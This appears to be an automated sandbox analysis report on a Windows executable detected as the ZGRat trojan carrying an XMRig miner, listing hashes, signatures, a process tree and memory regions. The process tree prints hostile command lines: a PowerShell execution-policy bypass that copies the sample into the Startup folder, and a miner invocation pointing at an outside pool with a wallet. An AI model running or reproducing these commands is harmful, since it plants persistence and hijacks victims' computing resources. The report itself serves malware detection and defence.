Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-04-2024 02:09

General

  • Target

    d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe

  • Size

    854KB

  • MD5

    9dab7bdadcab9c6bf91272fb7931787c

  • SHA1

    5f1d9471c50e40cf5279a1fade18b93c1d80839c

  • SHA256

    d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5

  • SHA512

    c9565b213b2d872d5032bbc403be4d975d134261c3a82cb429960ff4ea33930fad08bc8effb7b8bce176b9c25be8deb3113c8e25879923a9e4862218517f3a03

  • SSDEEP

    12288:IcvCS1ED+vJf54ixpwnhc29JPFrAOwap6pPDtvQE7qct2d9/ax:IcvCEhrxChc0J9cLvPDtvQEftA9/a

Malware Config

Signatures

  • Detect ZGRat V1 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 12 IoCs
  • Drops startup file 2 IoCs
  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe
    "C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe"
    1⤵
    • UAC bypass
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2916
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      "Powershell.exe" -exec bypass -c Copy-Item 'C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe' -Force
      2⤵
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4468
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u RVN:RL3237VGvpn6a2PLwAPVzTRyWmPhKQVn9k.RIG_CPU -p x --cpu-max-threads-hint=50
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1732

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2evjn4yv.51e.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1732-51-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/1732-53-0x0000012296F00000-0x0000012296F20000-memory.dmp

    Filesize

    128KB

  • memory/1732-60-0x0000012296F20000-0x0000012296F40000-memory.dmp

    Filesize

    128KB

  • memory/1732-59-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/1732-50-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/1732-57-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/1732-61-0x0000012296F20000-0x0000012296F40000-memory.dmp

    Filesize

    128KB

  • memory/1732-42-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/1732-58-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/1732-49-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/1732-48-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/1732-46-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/1732-47-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/1732-45-0x0000012296EC0000-0x0000012296EE0000-memory.dmp

    Filesize

    128KB

  • memory/1732-44-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/1732-43-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/2916-18-0x0000000023350000-0x00000000233F2000-memory.dmp

    Filesize

    648KB

  • memory/2916-0-0x0000000000CA0000-0x0000000000D78000-memory.dmp

    Filesize

    864KB

  • memory/2916-40-0x00000000036F0000-0x0000000003700000-memory.dmp

    Filesize

    64KB

  • memory/2916-41-0x00000000036F0000-0x0000000003700000-memory.dmp

    Filesize

    64KB

  • memory/2916-23-0x00007FF8B74D0000-0x00007FF8B7F91000-memory.dmp

    Filesize

    10.8MB

  • memory/2916-34-0x00000000036F0000-0x0000000003700000-memory.dmp

    Filesize

    64KB

  • memory/2916-35-0x0000000022FB0000-0x0000000022FFC000-memory.dmp

    Filesize

    304KB

  • memory/2916-33-0x0000000022F50000-0x0000000022FA6000-memory.dmp

    Filesize

    344KB

  • memory/2916-22-0x00000000036F0000-0x0000000003700000-memory.dmp

    Filesize

    64KB

  • memory/2916-20-0x0000000023430000-0x0000000023532000-memory.dmp

    Filesize

    1.0MB

  • memory/2916-10-0x00007FF8B74D0000-0x00007FF8B7F91000-memory.dmp

    Filesize

    10.8MB

  • memory/2916-11-0x00000000036F0000-0x0000000003700000-memory.dmp

    Filesize

    64KB

  • memory/2916-12-0x000000001E850000-0x000000001E872000-memory.dmp

    Filesize

    136KB

  • memory/2916-15-0x0000000020E90000-0x0000000020F36000-memory.dmp

    Filesize

    664KB

  • memory/2916-52-0x00000000036F0000-0x0000000003700000-memory.dmp

    Filesize

    64KB

  • memory/2916-16-0x00000000036F0000-0x0000000003700000-memory.dmp

    Filesize

    64KB

  • memory/2916-54-0x00000000036F0000-0x0000000003700000-memory.dmp

    Filesize

    64KB

  • memory/2916-55-0x00000000036F0000-0x0000000003700000-memory.dmp

    Filesize

    64KB

  • memory/2916-56-0x00000000036F0000-0x0000000003700000-memory.dmp

    Filesize

    64KB

  • memory/2916-14-0x00000000036F0000-0x0000000003700000-memory.dmp

    Filesize

    64KB

  • memory/2916-13-0x0000000020DA0000-0x0000000020E64000-memory.dmp

    Filesize

    784KB

  • memory/4468-19-0x00007FF8B74D0000-0x00007FF8B7F91000-memory.dmp

    Filesize

    10.8MB

  • memory/4468-39-0x00007FF8B74D0000-0x00007FF8B7F91000-memory.dmp

    Filesize

    10.8MB

  • memory/4468-21-0x000001DFA9780000-0x000001DFA9790000-memory.dmp

    Filesize

    64KB